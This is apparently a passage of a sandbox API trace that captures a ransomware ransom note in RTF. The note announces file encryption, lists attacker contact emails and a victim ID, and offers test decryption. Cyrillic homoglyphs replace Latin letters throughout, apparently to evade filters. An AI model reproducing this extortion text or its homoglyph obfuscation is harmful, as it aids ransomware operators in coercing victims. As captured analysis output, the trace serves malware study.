billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0034.976] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s 